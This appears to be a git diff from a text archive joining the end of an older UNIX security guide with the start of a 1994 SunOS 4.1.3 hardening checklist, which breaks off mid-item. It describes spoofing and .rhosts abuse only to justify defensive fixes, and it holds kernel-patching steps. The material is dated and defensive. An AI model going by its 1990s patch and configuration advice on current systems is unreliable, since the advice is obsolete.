+ + + + o Checks special/important files and directories for + + ``bad'' modes (world writable, etc.). + + + + o Checks for easily guessed passwords. + + + + + + + + 48 + + + + + + + + + + + + + + + + + + + + + + o Checks for duplicate user ids, invalid fields in the + + password file, etc. + + + + o Checks for duplicate group ids, invalid fields in the + + group file, etc. + + + + o Checks all users' home directories and their .cshrc, + + .login, .profile, and .rhosts files for security prob- + + lems. + + + + o Checks all commands in the /etc/rc files [Sun88a, + + 1724-1725] and cron files [Sun88a, 1606-1607] for world + + writability. + + + + o Checks for bad ``root'' paths, NFS file system exported + + to the world, etc. + + + + o Includes an expert system that checks to see if a given + + user (usually ``root'') can be compromised, given that + + certain rules are true. + + + + o Checks for changes in the setuid status of programs on + + the system. + + + + The COPS package is available from the comp.sources.unix + + archive on ftp.uu.net, and also from the repository on wsmr- + + simtel20.army.mil. + + + + + + 4.4 SUN C2 SECURITY FEATURES + + + + + + + + With the release of SunOS 4.0, Sun has included security + + features that allow the system to operate at a higher level of + + security, patterned after the C2* classification. These features + + can be installed as one of the options when installing the system + + from the distribution tapes. The security features added by this + + option include + + + + o Audit trails that record all login and logout times, + + the execution of administrative commands, and the exe- + + cution of privileged (setuid) operations. + + + + o A more secure password file mechanism (``shadow pass- + + word file'') that prevents crackers from obtaining a + + list of the encrypted passwords. + + _________________________ + + * C2 is one of several security classifications defined by the + + National Computer Security Center, and is described in [NCSC85], + + the ``orange book.'' + + + + + + + + + + 49 + + + + + + + + + + + + + + + + + + + + + + o DES encryption capability. + + + + o A (more) secure NFS implementation that uses public-key + + encryption to authenticate the users of the system and + + the hosts on the network, to be sure they really are + + who they claim to be. + + + + These security features are described in detail in [Sun88c]. + + + + + + 4.5 KERBEROS + + + + + + + + Kerberos [Stei88] is an authentication system developed by + + the Athena Project at the Massachusetts Institute of Technology. + + Kerberos is a third-party authentication service, which is + + trusted by other network services. When a user logs in, Kerberos + + authenticates that user (using a password), and provides the user + + with a way to prove her identity to other servers and hosts scat- + + tered around the network. + + + + This authentication is then used by programs such as rlogin + + [Sun88a, 418-419] to allow the user to log in to other hosts + + without a password (in place of the .rhosts file). The authenti- + + cation is also used by the mail system in order to guarantee that + + mail is delivered to the correct person, as well as to guarantee + + that the sender is who he claims to be. NFS has also been modi- + + fied by M.I.T. to work with Kerberos, thereby making the system + + much more secure. + + + + The overall effect of installing Kerberos and the numerous + + other programs that go with it is to virtually eliminate the + + ability of users to ``spoof'' the system into believing they are + + someone else. Unfortunately, installing Kerberos is very + + intrusive, requiring the modification or replacement of numerous + + standard programs. For this reason, a source license is usually + + necessary. There are plans to make Kerberos a part of 4.4BSD, to + + be released by the University of California at Berkeley sometime + + in 1990. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 50 + + + + + + + + + + + + + + + + + + + + + + + + SECTION 5 + + + + KEEPING ABREAST OF THE BUGS + + + + + + + + One of the hardest things about keeping a system secure is + + finding out about the security holes before a cracker does. To + + combat this, there are several sources of information you can and + + should make use of on a regular basis. + + + + + + 5.1 THE COMPUTER EMERGENCY RESPONSE TEAM + + + + + + + + The Computer Emergency Response Team (CERT) was established + + in December 1988 by the Defense Advanced Research Projects Agency + + to address computer security concerns of research users of the + + Internet. It is operated by the Software Engineering Institute + + at Carnegie-Mellon University. The CERT serves as a focal point + + for the reporting of security violations, and the dissemination + + of security advisories to the Internet community. In addition, + + the team works with vendors of various systems in order to coor- + + dinate the fixes for security problems. + + + + The CERT sends out security advisories to the cert-advisory + + mailing list whenever appropriate. They also operate a 24-hour + + hotline that can be called to report security problems (e.g., + + someone breaking into your system), as well as to obtain current + + (and accurate) information about rumored security problems. + + + + To join the cert-advisory mailing list, send a message to + + cert@cert.sei.cmu.edu and ask to be added to the mailing list. + + Past advisories are available for anonymous FTP from the host + + cert.sei.cmu.edu. The 24-hour hotline number is (412) 268-7090. + + + + + + 5.2 DDN MANAGEMENT BULLETINS + + + + + + + + The DDN Management Bulletin is distributed electronically by + + the Defense Data Network (DDN) Network Information Center under + + contract to the Defense Communications Agency. It is a means of + + communicating official policy, procedures, and other information + + of concern to management personnel at DDN facilities. + + + + The DDN Security Bulletin is distributed electronically by + + the DDN SCC (Security Coordination Center), also under contract + + to DCA, as a means of communicating information on network and + + + + + + + + 51 + + + + + + + + + + + + + + + + + + + + + + host security exposures, fixes, and concerns to security and + + management personnel at DDN facilities. + + + + Anyone may join the mailing lists for these two bulletins by + + sending a message to nic@nic.ddn.mil and asking to be placed on + + the mailing lists. + + + + + + 5.3 SECURITY-RELATED MAILING LISTS + + + + + + + + There are several other mailing lists operated on the Inter- + + net that pertain directly or indirectly to various security + + issues. Some of the more useful ones are described below. + + + + + + 5.3.1 Security + + + + + + + + The UNIX Security mailing list exists to notify system + + administrators of security problems before they become common + + knowledge, and to provide security enhancement information. It + + is a restricted-access list, open only to people who can be veri- + + fied as being principal systems people at a site. Requests to + + join the list must be sent by either the site contact listed in + + the Network Information Center's WHOIS database, or from the + + ``root'' account on one of the major site machines. You must + + include the destination address you want on the list, an indica- + + tion of whether you want to be on the mail reflector list or + + receive weekly digests, the electronic mail address and voice + + telephone number of the site contact if it isn't you, and the + + name, address, and telephone number of your organization. This + + information should be sent to security-request@cpd.com. + + + + + + 5.3.2 RISKS + + + + + + + + The RISKS digest is a component of the ACM Committee on Com- + + puters and Public Policy, moderated by Peter G. Neumann. It is a + + discussion forum on risks to the public in computers and related + + systems, and along with discussing computer security and privacy + + issues, has discussed such subjects as the Stark incident, the + + shooting down of the Iranian airliner in the Persian Gulf (as it + + relates to the computerized weapons systems), problems in air and + + railroad traffic control systems, software engineering, and so + + on. To join the mailing list, send a message to risks- + + request@csl.sri.com. This list is also available in the USENET + + newsgroup comp.risks. + + + + + + + + 52 + + + + + + + + + + + + + + + + + + + + + + 5.3.3 TCP-IP + + + + + + + + The TCP-IP list is intended to act as a discussion forum for + + developers and maintainers of implementations of the TCP/IP pro- + + tocol suite. It also discusses network-related security problems + + when they involve programs providing network services, such as + + sendmail. To join the TCP-IP list, send a message to tcp-ip- + + request@nic.ddn.mil. This list is also available in the USENET + + newsgroup comp.protocols.tcp-ip. + + + + + + 5.3.4 SUN-SPOTS, SUN-NETS, SUN-MANAGERS + + + + + + + + The SUN-SPOTS, SUN-NETS, and SUN-MANAGERS lists are all dis- + + cussion groups for users and administrators of systems supplied + + by Sun Microsystems. SUN-SPOTS is a fairly general list, dis- + + cussing everything from hardware configurations to simple UNIX + + questions. To subscribe, send a message to sun-spots- + + request@rice.edu. This list is also available in the USENET + + newsgroup comp.sys.sun. + + + + SUN-NETS is a discussion list for items pertaining to net- + + working on Sun systems. Much of the discussion is related to + + NFS, Yellow Pages, and name servers. To subscribe, send a mes- + + sage to sun-nets-request@umiacs.umd.edu. + + + + SUN-MANAGERS is a discussion list for Sun system administra- + + tors and covers all aspects of Sun system administration. To + + subscribe, send a message to sun-managers-request@eecs.nwu.edu. + + + + + + 5.3.5 VIRUS-L + + + + + + + + The VIRUS-L list is a forum for the discussion of computer + + virus experiences, protection software, and related topics. The + + list is open to the public, and is implemented as a mail reflec- + + tor, not a digest. Most of the information is related to per- + + sonal computers, although some of it may be applicable to larger + + systems. To subscribe, send the line + + + + SUB VIRUS-L your full name + + + + to the address listserv%lehiibm1.bitnet@mitvma.mit.edu. + + + + + + + + + + + + + + 53 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 54 + + + + + + + + + + + + + + + + + + + + + + + + SECTION 6 + + + + SUGGESTED READING + + + + + + + + This section suggests some alternate sources of information + + pertaining to the security and administration of the UNIX operat- + + ing system. + + + + UNIX System Administration Handbook + + Evi Nemeth, Garth Snyder, Scott Seebass + + Prentice Hall, 1989, $26.95 + + + + This is perhaps the best general-purpose book on UNIX system + + administration currently on the market. It covers Berkeley + + UNIX, SunOS, and System V. The 26 chapters and 17 appen- + + dices cover numerous topics, including booting and shutting + + down the system, the file system, configuring the kernel, + + adding a disk, the line printer spooling system, Berkeley + + networking, sendmail, and uucp. Of particular interest are + + the chapters on running as the super-user, backups, and + + security. + + + + UNIX Operating System Security + + F. T. Grammp and R. H. Morris + + AT&T Bell Laboratories Technical Journal + + October 1984 + + + + This is an excellent discussion of some of the more common + + security problems in UNIX and how to avoid them, written by + + two of Bell Labs' most prominent security experts. + + + + Password Security: A Case History + + Robert Morris and Ken Thompson + + Communications of the ACM + + November 1979 + + + + An excellent discussion on the problem of password security, + + and some interesting information on how easy it is to crack + + passwords and why. This document is usually reprinted in + + most vendors' UNIX documentation. + + + + On the Security of UNIX + + Dennis M. Ritchie + + May 1975 + + + + A discussion on UNIX security from one of the original crea- + + tors of the system. This document is usually reprinted in + + most vendors' UNIX documentation. + + The Cuckoo's Egg + + + + + + + + 55 + + + + + + + + + + + + + + + + + + + + + + Clifford Stoll + + Doubleday, 1989, $19.95 + + + + An excellent story of Stoll's experiences tracking down the + + German crackers who were breaking into his systems and sel- + + ling the data they found to the KGB. Written at a level + + that nontechnical users can easily understand. + + + + System and Network Administration + + Sun Microsystems + + May, 1988 + + + + Part of the SunOS documentation, this manual covers most + + aspects of Sun system administration, including security + + issues. A must for anyone operating a Sun system, and a + + pretty good reference for other UNIX systems as well. + + + + Security Problems in the TCP/IP Protocol Suite + + S. M. Bellovin + + ACM Computer Communications Review + + April, 1989 + + + + An interesting discussion of some of the security problems + + with the protocols in use on the Internet and elsewhere. + + Most of these problems are far beyond the capabilities of + + the average cracker, but it is still important to be aware + + of them. This article is technical in nature, and assumes + + familiarity with the protocols. + + + + A Weakness in the 4.2BSD UNIX TCP/IP Software + + Robert T. Morris + + AT&T Bell Labs Computer Science Technical Report 117 + + February, 1985 + + + + An interesting article from the author of the Internet worm, + + which describes a method that allows remote hosts to + + ``spoof'' a host into believing they are trusted. Again, + + this article is technical in nature, and assumes familiarity + + with the protocols. + + + + Computer Viruses and Related Threats: A Management Guide + + John P. Wack and Lisa J. Carnahan + + National Institute of Standards and Technology + + Special Publication 500-166 + + + + This document provides a good introduction to viruses, + + worms, trojan horses, and so on, and explains how they work + + and how they are used to attack computer systems. Written + + for the nontechnical user, this is a good starting point for + + learning about these security problems. This document can + + be ordered for $2.50 from the U. S. Government Printing + + Office, document number 003-003-02955-6. + + + + + + + + 56 + + + + + + + + + + + + + + + + + + + + + + + + SECTION 7 + + + + CONCLUSIONS + + + + + + + + Computer security is playing an increasingly important role + + in our lives as more and more operations become computerized, and + + as computer networks become more widespread. In order to protect + + your systems from snooping and vandalism by unauthorized crack- + + ers, it is necessary to enable the numerous security features + + provided by the UNIX system. + + + + In this document, we have covered the major areas that can + + be made more secure: + + + + o Account security + + + + o Network security + + + + o File system security. + + + + Additionally, we have discussed how to monitor for security vio- + + lations, where to obtain security-related software and bug fixes, + + and numerous mailing lists for finding out about security prob- + + lems that have been discovered. + + + + Many crackers are not interested in breaking into specific + + systems, but rather will break into any system that is vulnerable + + to the attacks they know. Eliminating these well-known holes and + + monitoring the system for other security problems will usually + + serve as adequate defense against all but the most determined + + crackers. By using the procedures and sources described in this + + document, you can make your system more secure. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 57 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 58 + + + + + + + + + + + + + + + + + + + + + + REFERENCES + + + + + + + + [Eich89] Eichin, Mark W., and Jon A. Rochlis. With Microscope + + and Tweezers: An Analysis of the Internet Virus of + + November 1988. Massachusetts Institute of Technology. + + February 1989. + + + + [Elme88] Elmer-DeWitt, Philip. `` `The Kid Put Us Out of + + Action.' '' Time, 132 (20): 76, November 14, 1988. + + + + [Gram84] Grammp, F. T., and R. H. Morris. ``UNIX Operating Sys- + + tem Security.'' AT&T Bell Laboratories Technical Jour- + + nal, 63 (8): 1649-1672, October 1984. + + + + [Hind83] Hinden, R., J. Haverty, and A. Sheltzer. ``The DARPA + + Internet: Interconnecting Heterogeneous Computer Net- + + works with Gateways.'' IEEE Computer Magazine, 16 (9): + + 33-48, September 1983. + + + + [McLe87] McLellan, Vin. ``NASA Hackers: There's More to the + + Story.'' Digital Review, November 23, 1987, p. 80. + + + + [Morr78] Morris, Robert, and Ken Thompson. ``Password Security: + + A Case History.'' Communications of the ACM, 22 (11): + + 594-597, November 1979. Reprinted in UNIX System + + Manager's Manual, 4.3 Berkeley Software Distribution. + + University of California, Berkeley. April 1986. + + + + [NCSC85] National Computer Security Center. Department of + + Defense Trusted Computer System Evaluation Criteria, + + Department of Defense Standard DOD 5200.28-STD, + + December, 1985. + + + + [Quar86] Quarterman, J. S., and J. C. Hoskins. ``Notable Com- + + puter Networks.'' Communications of the ACM, 29 (10): + + 932-971, October 1986. + + + + [Reed84] Reeds, J. A., and P. J. Weinberger. ``File Security + + and the UNIX System Crypt Command.'' AT&T Bell Labora- + + tories Technical Journal, 63 (8): 1673-1683, October + + 1984. + + + + [Risk87] Forum on Risks to the Public in Computers and Related + + Systems. ACM Committee on Computers and Public Policy, + + Peter G. Neumann, Moderator. Internet mailing list. + + Issue 5.73, December 13, 1987. + + + + [Risk88] Forum on Risks to the Public in Computers and Related + + Systems. ACM Committee on Computers and Public Policy, + + Peter G. Neumann, Moderator. Internet mailing list. + + + + + + + + 59 + + + + + + + + + + + + + + + + + + + + + + Issue 7.85, December 1, 1988. + + + + [Risk89a] Forum on Risks to the Public in Computers and Related + + Systems. ACM Committee on Computers and Public Policy, + + Peter G. Neumann, Moderator. Internet mailing list. + + Issue 8.2, January 4, 1989. + + + + [Risk89b] Forum on Risks to the Public in Computers and Related + + Systems. ACM Committee on Computers and Public Policy, + + Peter G. Neumann, Moderator. Internet mailing list. + + Issue 8.9, January 17, 1989. + + + + [Risk90] Forum on Risks to the Public in Computers and Related + + Systems. ACM Committee on Computers and Public Policy, + + Peter G. Neumann, Moderator. Internet mailing list. + + Issue 9.69, February 20, 1990. + + + + [Ritc75] Ritchie, Dennis M. ``On the Security of UNIX.'' May + + 1975. Reprinted in UNIX System Manager's Manual, 4.3 + + Berkeley Software Distribution. University of Califor- + + nia, Berkeley. April 1986. + + + + [Schu90] Schuman, Evan. ``Bid to Unhook Worm.'' UNIX Today!, + + February 5, 1990, p. 1. + + + + [Seel88] Seeley, Donn. A Tour of the Worm. Department of Com- + + puter Science, University of Utah. December 1988. + + + + [Spaf88] Spafford, Eugene H. The Internet Worm Program: An + + Analysis. Technical Report CSD-TR-823. Department of + + Computer Science, Purdue University. November 1988. + + + + [Stee88] Steele, Guy L. Jr., Donald R. Woods, Raphael A. Finkel, + + Mark R. Crispin, Richard M. Stallman, and Geoffrey S. + + Goodfellow. The Hacker's Dictionary. New York: Harper + + and Row, 1988. + + + + [Stei88] Stein, Jennifer G., Clifford Neuman, and Jeffrey L. + + Schiller. ``Kerberos: An Authentication Service for + + Open Network Systems.'' USENIX Conference Proceedings, + + Dallas, Texas, Winter 1988, pp. 203-211. + + + + [Stol88] Stoll, Clifford. ``Stalking the Wily Hacker.'' Com- + + munications of the ACM, 31 (5): 484-497, May 1988. + + + + [Stol89] Stoll, Clifford. The Cuckoo's Egg. New York: Double- + + day, 1989. + + + + [Sun88a] Sun Microsystems. SunOS Reference Manual, Part Number + + 800-1751-10, May 1988. + + + + [Sun88b] Sun Microsystems. System and Network Administration, + + + + + + + + 60 + + + + + + + + + + + + + + + + + + + + + + Part Number 800-1733-10, May 1988. + + + + [Sun88c] Sun Microsystems. Security Features Guide, Part Number + + 800-1735-10, May 1988. + + + + [Sun88d] Sun Microsystems. ``Network File System: Version 2 + + Protocol Specification.'' Network Programming, Part + + Number 800-1779-10, May 1988, pp. 165-185. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 61 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 62 + + + + + + + + + + + + + + + + + + + + + + APPENDIX A - SECURITY CHECKLIST + + + + + + + + This checklist summarizes the information presented in this + + paper, and can be used to verify that you have implemented every- + + thing described. + + + + + + + + Account Security + + [] Password policy developed and distributed to all users + + [] All passwords checked against obvious choices + + [] Expiration dates on all accounts + + [] No ``idle'' guest accounts + + [] All accounts have passwords or ``*'' in the password field + + [] No group accounts + + [] ``+'' lines in passwd and group checked if running Yellow Pages + + + + Network Security + + [] hosts.equiv contains only local hosts, and no ``+'' + + [] No .rhosts files in users' home directories + + [] Only local hosts in ``root'' .rhosts file, if any + + [] Only ``console'' labeled as ``secure'' in ttytab (servers only) + + [] No terminals labeled as ``secure'' in ttytab (clients only) + + [] No NFS file systems exported to the world + + [] ftpd version later than December, 1988 + + [] No ``decode'' alias in the aliases file + + [] No ``wizard'' password in sendmail.cf + + [] No ``debug'' command in sendmail + + [] fingerd version later than November 5, 1988 + + [] Modems and terminal servers handle hangups correctly + + + + File System Security + + [] No setuid or setgid shell scripts + + [] Check all ``nonstandard'' setuid and setgid programs for security + + [] Setuid bit removed from /usr/etc/restore + + [] Sticky bits set on world-writable directories + + [] Proper umask value on ``root'' account + + [] Proper modes on devices in /dev + + + + Backups + + [] Level 0 dumps at least monthly + + [] Incremental dumps at least bi-weekly + + + + + + + + + + + + + + + + + + + + + + + + 63 + + + diff --git a/textfiles.com/hacking/UNIX/securesu.txt b/textfiles.com/hacking/UNIX/securesu.txt new file mode 100644 index 00000000..09b5841b --- /dev/null +++ b/textfiles.com/hacking/UNIX/securesu.txt @@ -0,0 +1,691 @@ +My appologies for taking so long with this it became much larger than +I'd though it would. +Please Note: + 1) My intent in this was to limit my audience enough so that + this document would not become too large and cumbersome. + Please note the intended audience. + 2) This document is sure to undergo revision, and I hesitate to + ever call any revision a final draft. + 3) Please forgive any typo's and gramatical errors. It's late + and I wanted to get this out on a day other than Friday. + Send me notes of typos and spelling directly don't bother + the rest of the net with such. + 4) I'll try to post when I'm able to put this list up on our + ftp server ftp.Hawaii.Edu:/pub/security. + +Again many thanks to all those who provided feedback. + +I'm not sure where the other lists are but here's what I've got, +please let me know if it's of help: + +---------------------------------------------------------------------- + + +How to improve security on a newly installed SunOS 4.1.3 system. + + Version 1.0 Thomas M. Kroeger - July 94 + tmk@hawaii.edu + +Copyright -- Thomas M. Kroeger - July 94 + Please feel free to redistribute or include this list or parts of it +wherever you desire, but, please include appropriate citation. + +Goal - + Attempt to provide a list of some of the more basic steps that +can be done to improve security on a newly installed SunOS 4.1.3 system. +This is by no means an all inclusive list of actions, just a list of +some simple and more common measures. + +Intended Audience - + Anyone responsible for the system administration duties of a machine +running SunOS 4.1.3. These recommendations applicable to a stand-alone * +workstation. It is assumed that the reader has some familiarity with basic +system administration (you should be able to do a basic system installation +by yourself, install patches, and use an editor). + +[* which may be connected to a larger network?] + + NOTE: This list limits it's coverage to measures that can +be done for a stand-alone workstation addition to the steps listed here +there are many measures that can be taken to improve the security of +an enviornment, measures such as; filtering traffic to port 2049/udp +at the routers will prevent NFS calls from outside your domain. + + +Disclaimer --- +These recommendations come with no guarantees of anything! Support is only +offered within the University of Hawai'i community. + +The truly paranoid may wish to these implement these recommendations while in +single user mode as an extra measure of security to avoid possible subversive +shenannigans by a wily cracker. + + +To Do on a system Just installed +------------------------------ + +Patches -- ++ install the following patches + +4.1.3 Security listing + 100103 SunOS 4.1;4.1.1;4.1.2;4.1.3: script to change file permissions + 100173 SunOS 4.1.1/4.1.2/4.1.3 : NFS Jumbo Patch +* 100224 SunOS 4.1.1,4.1.2,4.1.3: /bin/mail jumbo patch + 100257 SunOS 4.1.1;4.1.2;4.1.3: jumbo patch for ld.so, ldd, and ldconf + 100272 SunOS 4.1.3: Security update for in.comsat. + 100296 SunOS 4.1.1, 4.1.2, 4.1.3: netgroup exports to world + 100305 SunOS 4.1.1, 4.1.2, 4.1.3: lpr Jumbo Patch + 100372 SunOS 4.1.1;4.1.2;4.1.3: tfs and c2 do not work together +* 100377 SunOS 4.1.1, 4.1.2, 4.1.3: sendmail jumbo patch +* 100383 SunOS 4.0.3;4.1;4.1.1;4.1.2;4.1.3: rdist security and hard link + 100448 OpenWindows 3.0: loadmodule is a security hole. + 100452 OpenWindows 3.0: XView 3.0 Jumbo Patch + 100478 OpenWindows 3.0: xlock crashes leaving system open +* 100482 SunOS 4.1;4.1.1;4.1.2;4.1.3: ypserv and ypxfrd fix, plus DNS fi + 100507 SunOS 4.1.1, 4.1.2, 4.1.3: tmpfs jumbo patch + 100513 SunOS 4.1.1;4.1.2;4.1.3: Jumbo tty patch + 100564 SunOS 4.1.2, 4.1.3: C2 Jumbo patch +* 100593 SunOS 4.1.3: Security update for dump. + 100623 SunOS 4.1.2;4.1.3: UFS jumbo patch + 100630 SunOS 4.1.1, 4.1.2, 4.1.3: SECURITY: methods to exploit login/su + 100631 SunOS 4.1.x: env variables can be used to exploit login(US only) +* 100632 SunSHIELD 1.0: ARM jumbo patch release + 100890 SunOS 4.1.3: domestic libc jumbo patch + 100891 SunOS 4.1.3: international libc jumbo patch + 100909 SunOS 4.1.1;4.1.2;4.1.3: Security update for syslogd. + 101072 SunOS 4.1.1;4.1.2;4.1.3: Non-related data filled the last block + 101080 SunOS 4.1.1 4.1.2 4.1.3: security problem with expreserve + 101200 SunOS 4.1.1, 4.1.2, 4.1.3: Breach of security using modload + 101206 ODS 1.0; NFS/fsirand security fix. +* 101480 SunOS 4.1.1;4.1.2;4.1.3: Security update for in.talkd. +* 101482 SunOS 4.1.3, 4.1.2, 4.1.1: Security update for write. + 101640 SunOS 4.1.3: in.ftpd logs password info when -d option is used. + 101710 ONLINE DISKSUITE (ODS) 1.0: Security update for dump. + +4.1.3 U1 security listing + 101434 SunOS 4.1.3_U1: lpr Jumbo Patch +* 101435 SunOS 4.1.3_U1: ypserv fix +* 101436 SunOS 4.1.3_U1: bin/mail jumbo patch + 101440 SunOS 4.1.3_U1: security problem: methods to exploit login/su + 101558 SunOS 4.1.3_U1: international libc jumbo patch +* 101579 SunOS 4.1.3_U1: Security problem with expreserve for Solaris 1. + 101587 SunOS 4.1.3_U1: security patch for mfree and icmp redirect + 101590 ONLINE DISKSUITE (ODS) 1.0, NFS/fsirand security fix + 101621 SunOS 4.1.3_U1: Jumbo tty patch +* 101665 SunOS 4.1.3_U1: sendmail jumbo patch + 101679 SunOS 4.1.3_U1: Breach of security using modload + 101759 SunOS 4.1.3_U1: domestic libc jumbo patch + + * - Note: some patches may not be required if you are disabling this + feature. If this is the case, ensure that all relevant files have had + their mode changed to remove the SUID bit -- chmod u-s . + + Note 2: Some patches may not necessarily apply based on packages + installed (US Encryption...) or your configuration. Please carefully + check the README for each patch. + Patches are available via anonymous ftp from + ftp.uu.net:/system/sun/sun-dist + +Network level changes ------- + ++ Disable source routing + Why: + Source routing enables the originating host to dictate the route the + packet will take. This can be used to spoof a system into believing + that the packets are coming from a trusted source. + How: + Install patch found in Ref. 19 + More info: Ref. 2 [Cheswick 94] Chap 2, Ref. 19 + ++ Comment out all unnecessary services in /etc/inetd.conf + Why: + RPC services can be used to gain access as well as information about + a system. These are very site specific adjustments and will have to + be tailored to your needs. Additionally, TCP wrappers [Ref. 4] can be + used to improve loging, prevent IP spoofing (one host pretending to be + another to gain access) and limit access to a service as well as + totally removing it. + How: + Edit file /etc/inetd.conf and put a # in front of services that + are not needed. + + Services possibly needed, but probably desired: + ftp - possible needed for file transfer, however if all you + want is outgoing ftp then this is can be commented out. + telnet - obvious (recommend restricting with TCP wrappers Ref. 4) + finger - Possibly but better to get a modified version that doesn't + give up that much information (To be honest I have no + experience with any of these I'd recommend checking into + some of the ones on ftp.uu.net). + talk - nice to have but how much will you miss it? + + Services which are probably unnecessary - see man pages for details + name - for name services (man tnamed) + comsat - for mail - not necessary. + login - for rlogin - please see discussion under ruserok(). + uucp - if you aren't sure if your using this then you are not. + exec - services for rexecd - do without. + + Services recommended against - FIND A WAY TO LIVE WITHOUT. + shell - for rsh -- major source for security problems + tftp - only needed for support of an X terminal or diskless + clients, doubtfully needed on a desktop machine. + More info: Ref. 4 [Venema 92]., Ref. 15 + + ++ Enable NFS port monitoring (This is of value only if you are exporting + filesystems over NFS) + Why: + Port monitoring ensures that calls to NFS to mount a file system come + from a port < 1024 (in other words, a port that requires root + access to use). + How: + The default /etc/rc.local sets up port monitoring only if the file + /etc/security/passwd.adjunct exists. If you will be implementing + shadowing then you can skip over this step. If you will not be + implementing shadowing and you will be exporting files then you should + modify /etc/rc.local to do the following 2 lines: (regardless of + whether the passwd.adjunct file exists): + echo "nfs_portmon/W1" | adb -w /vmunix /dev/kmem > /dev/null 2>&1 + rpc.mountd + + Shadowing is covered under the section Changes to ID Management. + + Note: one possible side effect: non-sun nfs client might not + be able to mount exported files. + More info: Ref. 3 [Stern 92] pg 177 & mountd(8C) + ++ Ensure that ypbind is started with the -s option. + Why: + Users could easily start thier own ypbind services and activate a + phony NIS database giving them access as any user. + How: + As with port monitoring the default /etc/rc.local sets up ypbind in the + secure mode (-s option) only if the file /etc/security/passwd.adjunct + exists. If you will be implementing shadowing then you can skip over + this step, overwise you should modify /etc/rc.local to start ypbind + with the -s option regardless of whether the passwd.adjunct file exists. + More info: ypbind(8) + ++ Disable IP forwarding - + Why: + I'm not sure if this can be abused on a machine with only one interface + but I'd rather err of the side of safety. It could be used to spoof + an IP address. + How: + Install the following line in the kernel configuration file: + options "IPFORWARDING=-1" + For info on how to custom configure a kernel, see the file + /usr/sys/`arch`/conf/README. + + +Kernel changes ------- + ++ modify ruserok() in /usr/lib/libc.so.1.8 (9 on 4.1.3 U1) to disable: + - root .rhosts authentication, wildcards in .rhosts, or + .rhosts entirely depending on the level of security you want. + Why: + ruserok() is a library routine that does the checking of both the + .rhosts and /etc/hosts.equiv files for all the r commands. + a) ruserok() uses the source IP address in the rpc request for + authentication. There are no guarantees that this address is correct. + This address can easily be spoofed, yielding illegitimate access to + a system. + b) Crackers will often insert +'s into users' .rhosts file + to allow them to gain access at a latter date. Most users + don't look at their .rhosts file too often. + Note: While using .rhosts prevents crackers from sniffing your users' + passwords, it also make them vulnerable to IP spoofing (claiming + to be a host that you're not) it becomes a matter of preference + what level of protection you'd choose here. + + How: + To modify the source code requires a source code license. + At Univ of Hawaii, modified version of libc.so.1.8 should be + available though the systems group. + + For those who wish to create thier own modified version of ruserok() + please see the section at the end that describes some of the details + for creating a custom libc.so. + + Additionally the logdaemon package Ref. 15 has a modified version + of libc.so that helps with this. This site also has BSD sources + for the ruserok() routine. + + Finally TCP wrappers can also be used to restrict access to each + individual r command. Ref. 4 + + More info: ruserok(3), hosts.equiv(5), + source code file /lib/libc/net/rcmd.c, Ref. 4, Ref. 15 + + + +Filesystem change---------- + ++ create the file /etc/ftpusers + Why: + This file is a list of users that will not be allowed to access the + system via ftp. This prevents Joe Cracker from using ftp to + modify a file (such as /etc/passwd) if he is able to determine your + root password. + How: + create the file /etc/ftpuser with the following entries (one per line): + root, nobody, daemon, sys, bin, uucp, news, ingres, AUpwdauthd, + AUyppasswdd, sysdiag, sundiag, and any other ID's that exist that + you don't want to allow ftp access. + + More info: man ftpusers(5) + ++ Remove the + in /etc/hosts.equiv + Why: + Well..... Everyone gains access with this. + Note: This file should not have any comment lines. + More info: hosts.equiv(5) + ++ edit /etc/exports remove all entries you don't want exported. + - ensure whatever entries remain have restricted access + Why: + NFS leaves the normal file system protection up to the client + instead of the server. Acracker with root access on a client can + work around many of these protections. As a result filesystems + exported to the world are particularly vulnerable. + How: + Edit the file /etc/exports + 1) Only export what you need to export. If you aren't certain that + it needs to be exported, then it probably doesn't. + 2) Never export to the world. Use a -access=host.foo.bar.edu option. + 3) When ever possible export the file systems read-only. option ro + You can use showmount -e to see what you currently have exported. + + More info: exports(5), exportfs(8), showmount(8) + ++ Install random number inode generator on filesystems fsirand + Why: + Predicable root handles assists crackers in abusing NFS. After + installing the patch for fsirand you'll need to run fsirand for + all your filesystems. + How: + Ensure the filesystem is unmounted and run fsirand. + More info: fsirand(8), SunOS patch 100173 (NFS Jumbo) + ++ nosuid in mounts + Why: + Use the nosuid option when adding entries to /etc/fstab to mount a + filesystem exported by another host. Anyone gaining access to the + other host can create or modify an existing program which could + compromise your system. Note: this doesn't work on tmpfs filesystems. + How: + Include the nosuid when you add an entry to /etc/fstab to import + a filesystem. + More info: Ref. 3 [Stern 92] pg. 175 fstab(5) + ++ Edit /etc/ttytab to remove the secure option from all entries. + Why: + The secure entry in /etc/ttytab allows logins directly to root on that + tty. If you feel that your machine is not in a physically secure + location, you may choose to remove the secure option from the + console as well. + More info: ttytab(5) + ++ Set eeprom secure field to command or full - + Why: + If you feel that your machine is not in a secure location, then + the eeprom field secure can be used to prevent unauthorized root + access by crashing your machine. Note: with the full option the + system will not auto-reboot and will wait for the root password to + be entered. + More info: eeprom(8) + ++ chmod 600 /dev/eeprom - + Why: + Prevents users from reading the eeprom passwd. + More info: eeprom(8) + ++ Remove openprom support if you do not intend to use the eeprom + secure field. + Why: + A cracker who gains root access could install an eeprom password and + make your life a bit harder. + How: + Remove the device driver from the kernel by commenting out + the following: + + # The "open EEPROM" pseudo-device is required to support the + # eeprom command. + # + pseudo-device openeepr # onboard configuration NVRAM + More info: eeprom(8) + ++ Uncomment security options in frame buffer table file /etc/fbtab + 